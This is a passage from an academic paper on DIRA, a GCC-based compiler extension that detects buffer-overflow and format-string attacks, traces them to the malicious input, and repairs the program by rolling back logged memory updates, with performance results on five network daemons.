ent=get_prev_log_entry();
if ent.write_addr ≤cur_addr && ent.write_addr+ent.len>cur_addr
then cur_addr=ent.read_addr+(cur_addr-ent.write_addr);
end;
if (cur_addr̸=0)
{ printf(“Can’t find source of attack\n”); exit(0); }
/* ent is the required log entry */
Figure 2. The traceback algorithm used to locate the source of a buffer overflow attack based on
a corrupted control-sensitive data structure.
3.4.
Attack Repair
Although DIRA’s attack detection mechanism can suc-
cessfully prevent a control-hijacking attack from taking
over a victim application, the application itself may need
to be terminated as a result of such an attack. This “ter-
minate and restart” approach to recover from a control-
hijacking attack is not always desirable. Instead, it is bet-
ter if the victim application can simply erase the effects
of the attack packets as if these packets never happened.
There are two issues involved in this program state repair
process: (1) From which state should a victim program
restart? (2) How to restart a victim program without spe-
cial OS support?
Because DIRA logs only updates to global and array-
like variables, it can only restart a program from the en-
try point of a function. The proper function f_restart
turns out to be the least common ancestor of the function
in which the attack was detected and the function in which
the malicious external data was read in. We will call the
function called from f_restart, which eventually led to
malicious data read operation f_read and the function
that eventually led to the attack f_attack (both can be
the same function or even f_restart). The reason be-
hind choosing f_restart the way we described it above
is the fact that the stack frame of the dynamic parent of
f_restart has not changed between the point when the
malicious data was read in and the point when an attack
was detected whereas the stack frame of any other func-
tion called after f_restart as well as f_restart itself
might have changed between the two moments. Since we
do not track any local variable updates we will not be
able to bring the program back to a consistent state older
than the state in which it was right before f_restart was
called. There is an exception from this rule, however. If
there are no local variable updates in f_restart between
the point after f_read returns and before f_attack be-
gins, we can safely restart the execution from f_read in-
stead of f_restart.
Sometimes, it is still possible that the whole pro-
gram will need to be restarted. Indeed, this happens if
f_restart turns out to be function main() and there are
some local variable updates made between when f_read
returns and f_attack begins. While evaluating DIRA we
have encountered one such program. One way to avoid
this problem is to track all variable updates including lo-
cal ones, but that may significantly increase the run-time
overhead. If the repair algorithm finds that the program
needs to be restarted from the beginning, the program is
simply terminated and restarted afterwards.
Identifying the function that reads in the malicious ex-
ternal data is a part of attack identification process and
therefore does not incur any extra run-time overhead while
the program is running normally. Figure 3 illustrates how
the restart point is chosen with a typical buffer overflow
attack scenario. In this case, either f2() or f1() can be
chosen as the new restart point. The decision depends on
whether there are any local variable updates in f1() after
return from f2() until the call to f4().
DIRA does not require any system support for program
restart. Instead, it uses inter-procedural jump functions
setjmp() and longjmp() to implement this functional-
ity.
Figure 4 shows the algorithm that DIRA uses to find the
least common dynamic ancestor between the function that
detects an attack or a corruption of some control-sensitive
data structure, and the function that inputs the malicious
data from the memory updates log. Logically, the algo-
rithm traverses the memory updates log backwards to find
the first function whose function entry tag is earlier than
the function entry tag of both functions. The algorithm
includes two steps. The purpose of the first step is to find
out the depth of f_read with respect to the least com-
mon dynamic ancestor of f_read and f_attack. In or-
der to determine this depth the memory updates log is tra-
versed in backwards direction. The traversal starts from
the last log entry and continues until the function entry
tag of f_read is reached. Variable depth is a loop in-
variant and has the following meaning. It contains the rel-
ative depth of the function which the current log record
belongs to with respect to the greatest dynamic ancestor
function of f_attack seen so far. It is obvious that the
traversal will sooner or later go through a log entry that be-
longs to the least common dynamic ancestor of f_read
and f_attack because the control flow should have re-
turned to this function at least once between the point
when f_read was called and the point when f_attack
was called. Therefore, depth will eventually contain the
relative depth of f_read with respect to the least common
dynamic ancestor. At each loop iteration, variable depth
is updated as follows. If the tag of the current log record
is a function entry tag and the depth equals 0 then the
next log record to be traversed corresponds to a dynamic
parent of the current function, and therefore it becomes
the current greatest dynamic ancestor in which case the
value of depth does not need to be changed. If, however,
the tag of the current log entry is a function exit tag then
the function which that log entry belongs to was called
from the current function. Therefore, we need to increase
depth by one. Finally, if the tag of the current log entry is
a function entry tag and the depth is greater than zero then
we need to decrement depth by one as this means that
the current function is a dynamic child of the greatest an-
cestor function. To summarize, at the end of the first step
variable depth equals the relative depth of f_read with
respect to the least common dynamic ancestor. All we
need to do after that is to traverse the log backwards until
we reach a function whose relative depth with respect to
the least common ancestor is zero. The beginning of this
function is the beginning of the least common dynamic
ancestor of f_read and f_attack.
Finding a restart point requires augmentation of the
memory updates log with several types of tags which are
inserted to the log when the program runs normally. These
tags are function entry tag, function exit tag, jump buffer
tag, and first local update tag. Upon entering a function
DIRA inserts a function entry tag into the memory updates
log. Similarly, when the function returns a function exit
tag is inserted. When a function call is made, DIRA in-
serts a call to setjmp(buf) where buf is the data field
of a memory log record. The read_addr of this record is
set to the jump buffer tag. This makes the point preceding
the function call a potential restart point. At repair time,
the control can be transfered to this point by performing
longjmp(buf). Finally, the first local update tag is in-
serted to the log when the first update to a local variable
is encountered after a function call. These tags are used at
repair time to determine the actual restart point, which can
be either f_read if no such tags are found in f_restart
between the call to f_read and the call to f_attack, or
f_restart if at least one local update tag was found.
Once the restart point is determined, the memory state
of the program needs to be rolled back to the state corre-
sponding to the new execution point. To do so, the attack
recovery module needs to traverse the memory updates
log in the reverse direction until it reaches the restart point,
undoing each global variable update along the way. After
the undo, the recovery module performs a longjmp() us-
ing the jmp_buf corresponding to the restart point.
To restore the memory image of the program the com-
plete pre-image of each memory update should be stored
in the data field of the corresponding log record. The
same is also true about libc functions proxied by DIRA.
For instance, strcpy(a, b) call needs to store the pre-
image of buffer a of length strlen(b) in the data field
of memory updates log record.
In addition, several
other classes of libc functions need to be proxied. They
are: memory management functions, privilege manage-
ment functions, process management functions, and inter-
procedural jumps functions. The complete list of proxied
functions is presented in Table 2. Below we will consider
each group of functions in more detail.
Memory Management Functions. Each function in
this group is proxied for the following reason: at re-
pair time, the program needs to be able to undo not only
global memory changes, but also memory manipulation
functions it called before. The proxy_malloc() calls
malloc() first and stores the address of the newly allo-
cated object in the memory updates log. At repair time if
this record needs to be rolled back, this memory object is
freed.
During repair time we also need to reallocate objects
that were previously deallocated.
This is achieved by
proxying free(). A straightforward way to restore the
object that was deallocated is to allocate it again with
malloc(). However, the new object may be created at
a new memory locations and all earlier references to it in
execution flow
f1()
f2()
f3()
f4()
f5()
gets(big_buf);
strcpy(small_buf, big_buf);
attack detected!
f5
f4
f1
f2
f3
f2
f1
memory
updates log
depth
-1 -> 0
-1 -> 0
1
2
1
0
-1
possible restart points
f0()
time
0
f_restart
f_attack
f_read
Figure 3. An example illustrating how to identify the least common dynamic ancestor in the
function call graph and use it as the restart point. The right-hand side shows the memory updates
log where f1–f5 are the same functions as those on the left-hand side. The ovals correspond to
function boundaries. The depth values are the values of depth variable that is defined in Figure 4.
f_read — function in which malicious data was read in;
ent_beg=first log entry of f_read (function entry tag);
depth=0;
ent=last_log_entry();
while (ent!=ent_beg)
if (ent.tag is function entry tag) then depth−−;
if (ent.tag is function exit tag) then depth++;
if (depth<0) then depth=0;
ent=get_prev_log_entry();
end;
/* second phase */
while (depth≥0)
if (ent.tag is function entry tag) then depth--;
if (ent.tag is function exit tag) then depth++;
ent=get_prev_log_entry();
end;
Figure 4. Algorithm for finding the least common dynamic ancestor in the function call graph.
Function class
Libc functions
Copying/concatenation
memcpy(), mempcpy(), memmove(), strcpy(),
strncpy(), strcat(), strncat(), bcopy()
Network I/O
readv(), recv(), recvfrom()
Inter-procedural jumps
setjmp(), longjmp()
Memory management
malloc(), calloc(), realloc(), free(), strdup()
Privilege management
seteuid(), setreuid(), setegid(), setregid()
Process creation
fork()
File I/O
read(), fread(), scanf(), vscanf(), fscanf(),
vfscanf(), gets(), fgets()
Format string
sprintf(), snprintf(), vsprintf(), vsnprintf(),
Table 2. The set of functions that DIRA needs to proxy to support attack identification and repair.
the memory updates log will need to be remapped. In-
stead, we use a deferred free() approach. When the pro-
gram calls free(), the proxy_free() function just puts
the address of the object into the log without freeing up the
object. At repair time, we do not need to do anything to
restore the original object since it is kept in the memory.
Finally, the proxy_realloc() function saves the orig-
inal pointer in the buffer, replaces the original realloc()
call with a malloc() call and saves the pointer to the
newly allocated memory as well. Then it copies the data
to the newly allocated buffer. The length of the data being
copied is obtained from the memory buffer header that is
preceding the data itself. At repair time, the newly allo-
cated object is deallocated.
The description above suggests that during its normal
execution the program will never free up the memory it
allocates. However, since the capacity of the memory up-
dates log is limited, its records are used in a circular fash-
ion. A single record can be reused if the program runs
long enough. When a record is reused, its previous con-
tent is cleaned up and the recovery of that operation be-
comes impossible. A part of the clean up procedure for a
proxy_free() buffer entry is the free() operation that
was deferred before.
Inter-procedural
Jump
Functions.
Function
longjmp() performs an inter-procedural jump to one
of the dynamic ancestors of the current function.
To
keep the memory updates log consistent, we need to
add a proper number of function exit tags to the log.
This number equals the number of functions skipped by
longjmp(). To determine it at run time, we proxy both
setjmp(jmp_buf) and longjmp(jmp_buf, state).
The proxy_setjmp() function logs the address of the
jmp_buf variable.
The proxy_longjmp() function
searches the memory updates log for a log entry corre-
sponding to setjmp() call that filled in the jmp_buf
used in proxy_longjmp().
Once it finds the proper
log entry, it can find out the nesting level of the current
function with respect to the target function and thus
compute the required number of function exit tags to be
added.
Privilege Management Functions.
Many programs
change their effective user ID and group ID values for se-
curity reasons. At repair time, the proper values need to be
restored to give the program same access rights as those it
had at the chosen restart point. This is achieved by proxy-
ing functions such as seteuid() and setegid(). These
functions save the original value of uid or gid in the data
field of a memory updates log record. The read_addr
field holds the proper proxy function tag that allows the
repair procedure to identify such log records and call ap-
propriate privilege management functions with the val-
ues stored in the data field. A privileged process calling
setuid() can replace its effective user ID with a nonzero
effective user ID in which case the old effective user ID
can never be restored. In this case, there is no way for the
recovery process to restore the original effective user ID
without explicit system support.
Process Management Functions.
When a program
compiled by DIRA forks a new process, the two processes
can access their memory updates logs concurrently be-
cause of the copy-on-write semantics of fork() system
call. In this case, two versions of the log are created auto-
matically by the OS. However, if a buffer overflow attack
is detected in one of the processes then the repair proce-
dure might require the program to be rolled back to the
point before a new process was forked. The current ver-
sion of DIRA does not consider the problem of cascading
rollback. Instead, if the overflow was detected in the par-
ent process then all child processes that have been forked
after the new restart point are killed. However, if an at-
tack is detected in the child process and the restart point
is chosen to be before the point where it was forked, the
process is terminated without affecting the parent process
in any way. The proxy_fork() function inserts special
tags in both parent’s and child’s process logs to facilitate
this process.
3.5.
Limitations
The memory updates logging algorithm currently used
in the DIRA compiler is designed for simplicity, and thus
has much room for performance optimization. For ex-
ample, because the current DIRA compiler only tracks
data dependencies carried by simple assignment opera-
tions and proxied functions, it cannot identify dependen-
cies that involve any arithmetic expressions, e.g., B=A+C.
This means that DIRA’s recovery module may not be able
to trace a corrupted control-sensitive data structure back to
a malicious network packet if the former is derived from
the latter through any form of transformation other than
assignment operations. It is possible to generalize the cur-
rent memory updates logging algorithm by leveraging in-
formation from data flow analysis techniques that allow
DIRA to identify and log those and exactly those state-
ments that may be data dependent on the network packets.
Data/control flow analysis can also improve the effi-
ciency of state checkpointing. Ideally, the pre-image of
each global or static variable needs to be recorded ex-
actly once for each logical checkpoint. However, because
a function may be called from different places and the cur-
rent
DIRA compiler does not perform inter-procedural
control flow analysis, the pre-image of each global or
static variable used in a function is recorded at least once
per invocation of that function. Furthermore, due to alias-
ing, the pre-image of the same global or static variable
may be logged multiple times within a function invoca-
tion. Data/control flow knowledge can help eliminate un-
necessary recording of pre-images, e.g., when a global
variable is repeatedly updated within a loop.
The current version of DIRA can only handle concur-
rent accesses to the memory updates log from processes
that are launched through fork() system call. However,
it does not recognize other forms of fork such as vfork().
In these cases, some form of locking mechanism is re-
quired to provide exclusive access to the memory updates
log. It is also possible that a program performs some file
or network I/O operations between the point when the at-
tack packets were read in and when the attack was de-
tected. In this case, restoring the memory image of the
program without restoring the underlying file system state
might lead to an inconsistent state of the program. Ideally,
both memory and file system repair should be performed.
The current DIRA prototype does not support file system
repair.
Signals are frequently used in network daemons as
a means of scheduling exceptional events.
Currently,
DIRA’s repair mechanism does not support undo of sig-
nals. Ideally, all signals that were set after the new restart
point need to be canceled.
4.
Implementation Issues
4.1.
Source Code Instrumentation
The current DIRA prototype is implemented as an ex-
tension to GCC 3.3.3. When compiling a program, GCC
converts the source code to a number of representations.
First, it translates the program into an Abstract Syntax
Tree (AST). Then, the AST representation is converted
into a Register Transfer Language (RTL) representation.
Finally, the RTL code is converted into the machine code
for the target platform.
DIRA instruments the source
code at two levels: AST level and machine language level.
The latter is used to generate special prologue/epilogue
code that supports return address defense as well as in-
serts function entry/exit tags. Currently, DIRA supports
only the IA-32 platform.
The code required to support memory updates log-
ging is inserted to the source code directly when
it is represented as an AST.
DIRA converts each
tree of type MODIFY_EXPR representing an assign-
ment operation X=Y into a compound tree of type
COMPOUND_EXPR that is equivalent to the following C
code: (log(X,Y,sizeof(Y)), X=Y);. Such a trans-
formation can be inserted at any place in the source code.
All unary arithmetic operations (such as ++ and --)
contained in the original expression are stripped off when
the logging call is made to avoid repeated variable modi-
fication.
To proxy necessary function calls
DIRA checks all
CALL_EXPR trees in the original program. If the func-
tion name of the function call is one of those that need
to be proxied, DIRA replaces the original function name
with the proxied function name. In order to support restart
points,
DIRA replaces the original CALL_EXPR with a
COMPOUND_EXPR that first makes a call to setjmp() to
insert a restart point and then makes the original function
call.
4.2.
Transparent Library Compilation
Often programs need to be linked with several non-
standard libraries. At the same time, same libraries can
be reused by multiple applications.
Some applications
(typically server-side applications) might need DIRA sup-
port whereas others (typically client-side applications)
will most likely not. Therefore, both instrumented and
uninstrumented versions of some libraries should exist in
the system. A naive approach would be to have two ver-
sions of the same library under different names. However,
in this case one will have to go through all the Makefiles
of the program and change every occurrence of the name
of the old library to that of the instrumented library if the
program needs DIRA support. Another drawback of this
approach is the fact that a program would not be able to
switch from one version of the library to another without
being recompiled.
A better solution of this problem is to duplicate the
code of every function in all the source files that consti-
tute the library. The first copy of the function is instru-
mented whereas the second one is left intact.
DIRA in-
serts an if-statement in the beginning of each function and
makes the two copies of the original function its then and
else branches. The if-statement checks whether the fol-
lowing condition is true or not: need_logging==NULL
or *need_logging==0, where int *need_logging is
a special variable inserted by DIRA to the original pro-
gram. If the condition is true, then the unmodified version
of the code is executed. Otherwise, the control flow is
transfered to the instrumented version. When an applica-
tion that does not require DIRA support is linked with a
DIRA-compiled library, the control will always be trans-
fered to the uninstrumented version of the code since the
application is not aware of the need_logging variable
which is set to NULL by default.
This code duplicating approach introduces several im-
plementation issues. The first issue is related to code gen-
eration for switch statements. GCC creates a set of labels
(trees of type CASE_LABEL) for each case expression of
the switch statement. When the second copy of the func-
tion is compiled, these labels are reused instead of being
recreated. As a result, the control is transfered to the first
version of the code that was compiled before. The solu-
tion to this problem is to recreate the labels each time a
switch statement is processed regardless of whether they
were created before or not. The second issue is related
to a common optimization performed by GCC. When it
generates RTL code for a complex AST expression, GCC
wraps this AST into a tree of type SAVE_EXPR, which in-
dicates that there is an RTL code available for the original
AST expression and there is no need to process it again.
However, DIRA requires that all ASTs be processed twice
since otherwise the logging code might not be generated
for the second copy of the AST. To ensure that this is
the case, DIRA wraps the trees of type SAVE_EXPR into
the trees of type UNSAVE_EXPR and nullifies the effect of
SAVE_EXPR.
Sometimes, a program needs to be linked with a library
which source code is not available. In this case, DIRA will
still be able to compile and link the program, but all mem-
ory manipulations that happen inside the uninstrumented
library will not be tracked. As a result, it might not be
possible to detect an attack if one of the uninstrumented
functions is responsible for it or to identify it since the
variable dependency chain might be broken because of a
call to an uninstrumented function. Also, it will be impos-
sible to undo the side effects of such functions at repair
time which can lead to memory leaks or even worse to an
inconsistent memory state of the program.
5.
Evaluation of DIRA
5.1.
Performance Overhead
In this section we present the evaluation of DIRA. We
are interested in its compilation time overhead, executable
code size increase, and several run-time characteristics
such as the amount of log information generated and the
performance overhead when a program is compiled in
three different modes of DIRA: D-mode, DI-mode, and
DIR-mode.
We also describe our experiences with at-
tempts to compromise programs compiled by DIRA and
discuss whether repairing the programs is worthwhile at
all or restarting them from the beginning is a better strat-
egy.
We used a test suite of five network daemons in our ex-
periments: ghttpd 1.4 — an http server, drcatd 0.5.0
— a remote cat daemon, named 8.1 — DNS daemon
which is a part of BIND program, qpopper 4.0.4 — a
POP3 server, and proftpd 1.2.9 — an FTP server. We
used several exploit programs for the three programs of
our test suite: named, ghttpd, and drcatd available at
Fyodor’s Remote Exploit Archive [15] and Securiteam’s
website [5]. Our experiments proved that the instrumented
versions of these programs can detect attacks, identify at-
tack packets and continue their execution normally after
repair (the latest is true for 2 out of 3 programs that we
tried to compromise).
Program
Log records
Log size, KB
ghttpd
457
32
drcatd
4,000
408
named
832
39
qpopper
27,000
586
proftpd
70,000
2073
Table 4. Number of log records generated for
a single client request as described in Table
3 as well as the total log size (KB) generated
per client request.
The hardware setup used in the performance experi-
ments is as follows. The network daemon being tested was
running on a server machine with a Pentium-4M 1.7GHz
processor and 512 MB of RAM. There were two client
machines with AMD Athlon 1.7GHz processors equipped
with 512 MB of RAM each. All machines were running
the Linux 2.4.19 kernel. The machines were located in the
same 100 Mbps local network. All programs were com-
piled on the server machine with options -g -O.
To measure several run-time characteristics of the in-
strumented server programs, the client machines were
running special programs that were simultaneously send-
ing a number of requests to the server machine. The de-
scription of the performance tests is given in Table 3.
The left table in Figure 5 presents the measurements of
compilation time overhead, and shows that the compile
time overhead varies significantly from program to pro-
gram and can be between 130% and 550%.
The right table in Figure 5 shows the difference between
the executable file size produced by DIRA and that by the
original GCC compiler. Since DIRA duplicates the code
of each function, one might expect that the executable pro-
duced by DIRA will be twice as large as the executable
produced by standard GCC. This turns out to be the case
for small programs such as ghttpd and drcatd, but
does not hold for larger program. Most likely, this hap-
pens because a binary usually contains a number of sec-
tions such the data section, PLT section, symbol table sec-
tion, etc. and the code section is just one of them. Also,
GCC performs several optimizations to reduce the output
binary size. This explains why the increase in binary size
for larger programs is only 20-40% instead of expected
100%.
We conducted several series of experiments to measure
different run-time characteristics of instrumented pro-
grams. First, we measured the number of memory updates
log records as well as the total size of memory updates log
(in KB) for a single client request as described in Table 3.
The results are presented in Table 4. As the results sug-
gest, the dependency between the number of log records
Program
Type
Client request
Repeated, times
ghttpd
HTTP server
fetch a 10KB HTML page
5,000
drcatd
remote cat daemon
fetch a 10KB file
1,000
named
DNS server
lookup of a domain name
10,000
qpopper
POP3 server
fetch a 1KB message
200
proftpd
FTP server
fetch a 40KB file
100
Table 3. Test programs and corresponding performance tests.
Program
GCC
DIRA
Overhead, %
ghttpd
0.82
3.77
359
drcatd
1.30
4.50
246
named
33.38
79.72
138
qpopper
11.58
26.73
130
proftpd
25.88
169.88
555
Program
GCC
DIRA
Overhead, %
ghttpd
87145
174778
100
drcatd
70126
156229
123
named
1452030
2036324
40
qpopper
1371275
1654643
21
proftpd
2257744
3113267
38
Figure 5. Increase in compilation time, sec (left) and the executable file size, bytes (right).
and the actual amount of data written to the log is not lin-
ear. The reason behind this is the fact that different log
records have different actual size. The typical log records
types are as follows. The size of a single variable update
log record is 16 bytes (4 bytes for read address, 4 bytes for
write address, 4 bytes for data length and 4 bytes the ac-
tual payload). A potential restart point log record has the
size of 160 bytes because it contains a jmp_buf buffer
used by setjmp() and longjmp(). Log records gen-
erated by proxied string manipulation and network libc
functions can have different sizes. Typically, their length
varies from several bytes to 1 KB.
The goal of our second series of experiments was to
measure the run-time performance overhead of the instru-
mented programs which is certainly the most important
performance metric of DIRA compiler. We compiled all
five programs in three compilation modes that DIRA pro-
vides: D-mode that supports attack detection only, DI-
mode that supports attack detection and identification, and
DIR-mode that supports program repair in addition to at-
tack detection and identification. The measurements from
these experiments are presented in Figure 6 and suggest
that the run-time overhead can vary significantly depend-
ing on the programs’ memory access behavior and can
range from 8% to 60% for programs that support attack
detection, identification, and recovery.
The experiments showed that the run-time overhead of
programs compiled in D-mode varies from 0% to 15%.
We believe that this overhead is mostly affected by the fre-
quency of function calls because it mainly comes from ad-
ditional code in the function prologue and epilogue. That
is, if functions are relatively long and called infrequently,
then there is not much to do for the return address defense
mechanism and the overhead can be close to zero percent.
If, however, the program contains lots of small functions
that call each other then the overhead can be much higher.
The run-time overhead of the programs compiled in DI-
mode is much higher than that of the programs compiled
in D-mode and is between 7% and 50%. Such a difference
can be explained by the fact that a program needs to log
certain information about its memory state changes such
as the read address, the write address, and the length of
the data being written. Programs compiled in DI-mode
make use of proxy functions to track changes performed
by standard libc calls. However, the pre-image of the data
being modified is not saved in DI-mode and this is its only
difference from DIR-mode.
The measured overhead of programs running in DIR-
mode turns out to be pretty close to that of programs
running in DI-mode due to the reason described above
— there are relatively few differences between the two
modes. In addition to saving the pre-image of data being
modified, programs in DIR mode insert potential restart
points by making setjmp() calls and also insert first lo-
cal update tags.
The main conclusion from these experiments is that the
run-time overhead depends on the programming style in
which the program was written. There are certain things
that can increase the run-time overhead such as breaking
up the program into a large number of small functions and
using pointer arithmetic extensively. These results also
suggest a strong need for a more intelligent checkpoint-
ing mechanism that can help reduce the overhead. Instead
of saving the data pre-image upon each update, one can
save the pre-image of the whole data structure once upon
function start.
We have also measured the relative frequency of each
type of log records written to the memory updates log
during a performance benchmark run. The results are pre-
sented in Figure 6. Although there seems to be no direct
0
10
20
30
40
50
60
70
80
ghttpd
drcatd
named
qpopper
proftpd
Overhead, %
Program
Runtime Performance Overhead
D mode
DI mode
DIR mode
0
0.2
0.4
0.6
0.8
1
1.2
1.4
ghttpd
drcatd
named
qpopper
proftpd
Fraction of all log records
Program
Type of Log Records
other wrappers
string wrappers
function boundaries
first local update
variable update
Figure 6. Run-time overheads for different modes of compilation (left) and the relative frequency
of different types of log records (right).
correlation between the frequency of types of log records
and the run-time overhead, these results still suggest that
programs with higher overhead (such as qpopper) insert
more records for variable updates and first local update
tags. Indeed, these two types of records account for 90%
of all records that qpopper) had written to the log. These
results suggest once again a need for a more sophisticated
checkpointing algorithm that can help reduce the number
of variable update log records as well as a more intelligent
mechanism for choosing the restart points. The current
mechanism relies on information about local updates to
determine where restart points are, and consequently re-
quires generating a lot more first local update records than
necessary. Ideally, such a mechanism should use depen-
dency analysis techniques such as slicing to find out points
in the program that can eventually lead to a function that
reads external data. Only those points can be program’s
potential restart points.
In our next series of experiments we measured the
amount of file and network I/O activity performed by the
programs from our test suite. This information can help
answer the question of whether the file system and net-
work undo is indeed required for the repair process or
the programs can be repaired and continue their execu-
tion without file system and network undo. The results
are presented in Table 5. The results showed that 3 out
of 5 programs that we tested do not perform any file out-
put operations when serving a single client request. Our
analysis of the source code of the remaining two programs
showed that the file output operations performed by those
programs are used to create temp files and write logging
information. We believe that this information is not a crit-
ical part of program’s state and therefore leaving it after
Program
File IN
File OUT
Net IN
Net OUT
ghttpd
45
0
1
49
drcatd
319
0
3
320
named
0
0
1
1
qpopper
41
80
5
7
proftpd
13
63
11
61
Table 5. Network and file I/O activity for a
single client request as described in Table 3.
an attack will not bring the program into an inconsistent
state. The network output operations performed by the
programs are related to communicating with the client that
initiated the connection only. Therefore, if that client turns
out to be malicious there is no need to undo the effects of
network operations for such a client. These observations
allow us to conclude that file system and network undo
support is not really required for the network daemons that
we have studied.
5.2.
Experiences
We tried to compromise named,
ghttpd,
and
drcatd compiled in DIR-mode by using malicious code
from public databases [15, 5]. All these attempts failed
because the programs were able to detect and identify the
attacks. Moreover, two out of three programs could re-
pair themselves to the extent that allowed them to continue
normal execution. Below we describe our experiences of
applying DIRA to each of these programs in more detail.
BIND named inverse query vulnerability.
BIND
named version 8.1 has a bug in its inverse DNS query pro-
cessing function allowing the attacker to gain root con-
trol of the vulnerable system. Malicious code available to
us exploited this vulnerability by sending a single packet
and waiting for response. It did not try to run a remote
shell on the victim machine. For this particular program,
the repair procedure determined that function f_restart
is function main() of named.
However, it turned out
that there were no local variable updates from f_read to
f_attack, and therefore the execution could be restarted
from f_read (which was function evGetNext() in this
case).
Format string vulnerability in ghttpd.
There is a
format string vulnerability in function Log(). The re-
pair procedure determined that for this particular program
functions f_restart and f_read is the same function
serverconnection().
However, since there were a
number of local variable updates between the point where
the data was read and the point where Log() was called,
the execution restarted from the beginning of function
f_restart. Still, the initial connection was kept open.
The exploit program that we used continued sending pack-
ets to the same port as where the initial malicious packet
was sent to. These subsequent packets were treated as in-
valid requests by the survived program. It sent the “bad
request” HTML page back to the exploit program in re-
sponse.
Format string vulnerability in drcatd.
There is a
similar vulnerability in the logging function of drcatd.
However, in this case function main() turned out to be
f_restart. In addition, there were a number of local
variable updates between f_read and f_attack. There-
fore, the whole program needed to be restarted in case of
an attack. This problem can be solved in two ways. The
first is to reorganize the source code manually by putting
potentially vulnerable parts of the code into a separate
function so that the execution can be restarted from it in
case of attack. However, this solution requires some un-
derstanding of the source code of the program and there-
fore is not suitable for automatic program protection. The
second solution is to log all memory updates including lo-
cal ones. However, current version of DIRA cannot tell
automatically whether tracking global updates only will
be sufficient or not. Currently, this option can be turned on
and off manually. When compiled with this option turned
on drcatd can repair itself and continue normal execu-
tion. However, even if it turns out that the whole program
needs to be restarted the program can still detect the attack
and identify it.
The analysis presented above shows that it is not always
possible to repair a program automatically and that even
when it is, the restart point may be quite close to the begin-
ning of the program. This raises the question as to whether
automated attack repair is useful in practice. We believe
automated attack repair is indeed useful for the following
reasons. First, with attack repair, dynamic attack detection
is now as effective as static analysis in protecting vulner-
able applications at run time without suffering from the
latter’s false positive problems. More concretely, even if a
vulnerable application is compromised, DIRA ensures the
application can continue as if the vulnerability does not
exist in the first place. Second, automated attack repair
is essential to provide protection among clients of single-
threaded or event-based network applications. In these ap-
plications, requests from multiple clients are processed in
the same process. Therefore, terminating an application of
this type upon detecting an attack from some client is not
acceptable as it also disrupts the service to other clients
as well. Finally, DIRA’s automated attack repair can be
used together with other types of attack detection meth-
ods such as system call argument monitoring, which can
detect attacks that could damage a victim application’s ad-
dress space without hijacking its control. For these types
of attacks, the automated attack repair mechanism can still
repair the damaged address space even long after the at-
tack takes place.
6.
Conclusion
In this paper we presented the first known compiler that
can transform arbitrary programs to a form that can detect
control hijacking attacks, identify the malicious input and
repair the compromised program, all without human in-
tervention. In addition, the performance overhead of these
transformations is shown to be quite modest, even without
any aggressive optimizations.
There are a number of ways in which the DIRA pro-
totype can be improved. First, we aim to improve the
efficiency of the memory updates logging mechanism by
employing control flow analysis. Currently, DIRA tracks
every update to any global variable, even though in theory
only the first one needs to be logged. Another problem
with the current logging mechanism is that it may miss
certain data dependencies, for example, when a local vari-
able is used to transfer information between two global
variables. Comprehensive data dependency analysis is re-
quired to improve the accuracy of attack identification.
We are going to address multi-threading issues in more
detail in the next version of DIRA. Multiple threads of
the same program can concurrently access the memory
updates log and other global data structures, and thus
introduce additional data dependencies. At repair time,
DIRA needs to determine which threads should be rolled
back, restore the state of each such thread to the corre-
sponding pre-attack state, and resume its execution. We
are also planning to broaden the scope of the repair pro-
cess by including support for file system undo. Although
not common among network applications, file system
undo can help erase the side effects of an attack on a file
system such as temp files.
7.
Acknowledgement
We would like to thank the anonymous reviewers and
our shepherd Dr. Dawn Song for their valuable comments.
This research is supported by NSF awards ACI-
0234281, CCF-0342556, SCI-0401777, CNS-0410694
and CNS-0435373 as well as fundings from Computer As-
sociates Inc., New York State Center of Advanced Tech-
nology in Sensors, National Institute of Standards and
Technologies, Siemens, and Rether Networks Inc.
References
[1] H. Agrawal, R. A. DeMillo, and E. H. Spafford.
An
execution-backtracking approach to debugging. In IEEE
Software, May 1981.
[2] H. Agrawal and J. R. Horgan.
Dynamic program slic-
ing. In Proceedings of ACM SIGPLAN Conference on Pro-
gramming Language Design and Implementation, 1990.
[3] T. M. Austin, S. E. Breach, and G. S. Sohi. Efficient detec-
tion of all pointer and array access errors. ACM SIGPLAN
Notices, 29(6), 1994.
[4] A. Baratloo, T. Tsai, and N. Singh. Transparent run-time
defense against stack smashing attacks. In Proceedings of
USENIX Annual Technical Conference, June 2000.
[5] Beyond
Security’s
SecuriTeam.
http://www.
securiteam.com.
[6] G. Candea and A. Fox. Crash-only software. In Proceed-
ings of the 9th Workshop on Hot Topics in Operating Sys-
tems (HotOS-IX), 2003.
[7] G. Candea, S. Kawamoto, Y. Fujiki, G. Friedman, and
A. Fox. A microrebootable system — design, implementa-
tion, and evaluation. In Proceedings of Operating System
Design and Implementation Conference, 2004.
[8] T.-C. Chiueh and F.-H. Hsu. RAD: A compile-time solu-
tion to buffer overflow attacks. In Proc. of 21st Intl. Conf.
on Distributed Computing Systems, 2001.
[9] C. Cowan, M. Barringer, S. Beattie, G. Kroah-Hartman,
M. Frantzen, and J. Lokier. FormatGuard: Automatic pro-
tection from printf format string vulnerabilities. In Pro-
ceedings of 10th USENIX Security Symposium, August
2001.
[10] C. Cowan, C. Pu, D. Maier, J. Walpole, P. Bakke, S. Beat-
tie, A. Grier, P. Wagle, Q. Zhang, and H. Hinton. Stack-
Guard:
Automatic detection and prevention of buffer-
overflow attacks. In Proceedings of the 7th USENIX Se-
curity Conference, January 1998.
[11] H. Etoh.
GCC extensions for protecting applications
from stack-smashing attacks. http://www.trl.ibm.
com/projects/security/ssp, June 2000.
[12] D. Evans, J. Guttag, J. Horning, and Y. M. Tan. LCLint: A
tool for using specifications to check code. In Proceedings
of the ACM SIGOFT Symposium on the Foundations of
Software Engineering, December 1994.
[13] S. Feldman and C. Brown. Igor: A system for program de-
bugging via reversible execution. In ACM SIGPLAN No-
tices, Workshop on Parallel and Distributed Debugging,
January 1989.
[14] M. Frantzen and M. Shuey. StackGhost: Hardware facili-
tated stack protection. In Proceedings of the 10th USENIX
Security Sumposium, August 2001.
[15] Fyodor. Remote exploits. http://www.insecure.
org/sploits_remote.html.
[16] L. A. Grenier. Practical code auditing. http://www.
daemonkitty.net/lurene, 2002.
[17] S. Hangal and M. S. Lam. Tracking down software bugs
using automatic anomaly detection. In Proceedings of Int.
Conf. Software Engineering, May 2002.
[18] R. Hastings and B. Joyce. Purify: Fast detection of mem-
ory leaks and access errors. In Proceedings of the Winter
USENIX Conference, 1992.
[19] S. C. Johnson. Lint, a C program checker. In AT&T Bell
Laboratories:Murray Hill, NJ, July 1978.
[20] R.
Jones
and
P.
Kelly.
Bounds
checking
